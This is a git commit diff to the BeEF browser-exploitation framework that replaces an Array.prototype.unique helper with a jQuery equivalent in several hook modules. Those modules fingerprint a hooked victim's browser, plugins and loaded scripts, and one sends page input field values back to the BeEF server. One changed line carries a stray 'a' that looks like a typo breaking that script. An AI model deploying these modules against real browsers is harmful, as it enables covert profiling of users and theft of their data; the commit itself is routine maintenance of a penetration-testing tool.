Replaced Array.prototype.unique with a cleaner jQuery equivalent

This commit is contained in:
Jack Walker
2020-07-06 16:24:09 +10:00
parent 9458bd8fc6
commit 4fc300ff87
6 changed files with 30 additions and 31 deletions

View File

@@ -3917,12 +3917,12 @@ beef.browser = {
getPlugins: function () {
var results;
Array.prototype.unique = function () {
var o = {}, i, l = this.length, r = [];
for (i = 0; i < l; i += 1) o[this[i]] = this[i];
for (i in o) r.push(o[i]);
return r;
};
function unique(array) {
return $.grep(array, function(el, index) {
return index === $.inArray(el, array);
});
}
// Things lacking navigator.plugins
if (!navigator.plugins)
@@ -3941,8 +3941,8 @@ beef.browser = {
// Sometimes store the version in description (Real, Adobe)
else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
}
results = results.unique().toString();
results = unique(results).toString();
// All browsers that don't support navigator.plugins
} else {
results = new Array();

View File

@@ -3944,12 +3944,12 @@ beef.browser = {
getPlugins: function () {
var results;
Array.prototype.unique = function () {
var o = {}, i, l = this.length, r = [];
for (i = 0; i &lt; l; i += 1) o[this[i]] = this[i];
for (i in o) r.push(o[i]);
return r;
};
function unique(array) {
return $.grep(array, function(el, index) {
return index === $.inArray(el, array);
});
}
// Things lacking navigator.plugins
if (!navigator.plugins)
@@ -3968,7 +3968,7 @@ beef.browser = {
// Sometimes store the version in description (Real, Adobe)
else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
}
results = results.unique().toString();
results = unique(results).toString();
// All browsers that don't support navigator.plugins
} else {

View File

@@ -42,7 +42,7 @@ module Events
# push events to logger
logger = BeEF::Core::Logger.instance
events.each do |key,value|
events.each do |value|
logger.register('Event', parse(value), zombie.id)
end
end

View File

@@ -10,17 +10,16 @@ beef.execute(function() {
var browser_version = new Array;
var dom = document.createElement('b');
Array.prototype.unique = function() {
var o = {}, i, l = this.length, r = [];
for(i=0; i<l;i+=1) o[this[i]] = this[i];
for(i in o) r.push(o[i]);
return r;
};
function unique(array) {
return $.grep(array, function(el, index) {
return index === $.inArray(el, array);
});
}
parse_browser_details = function() {
if (!browser_type.length) browser_type[0] = "unknown";
if (!browser_version.length) browser_version[0] = "unknown";
beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser_type="+browser_type.unique()+"&browser_version="+browser_version.unique());
beef.net.send("<%= @command_url %>", <%= @command_id %>, "browser_type="+unique(browser_type)+"&browser_version="+unique(browser_version));
};
// Browser fingerprints // in the form of: "URI","Browser","version(s)"

View File

@@ -11,12 +11,12 @@ beef.execute(function() {
var results = [];
var urls = "";
Array.prototype.unique = function() {
var o = {}, i, l = this.length, r = [];
for(i=0; i<l;i+=1) o[this[i]] = this[i];
for(i in o) r.push(o[i]);
return r;
};
function unique(array) {
return $.grep(array, function(el, index) {
return index === $.inArray(el, array);
});
}
// Fingerprints of javascript /ajax libraries . Library Name: Array of common file names
var fingerprints = {
@@ -69,7 +69,7 @@ beef.execute(function() {
}
}
if(results.length >0){
urls=results.unique().join('||');
urls=unique(results).join('||');a
beef.net.send("<%= @command_url %>", <%= @command_id %>, "script_urls="+urls);
}
else{

View File

@@ -25,7 +25,7 @@ beef.execute(function() {
// return input field info
if (input_values.length) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(input_values.unique()));
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result='+JSON.stringify(unique(input_values)));
// return if no input fields were found
} else {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'error=Could not find any inputs fields on '+window.location);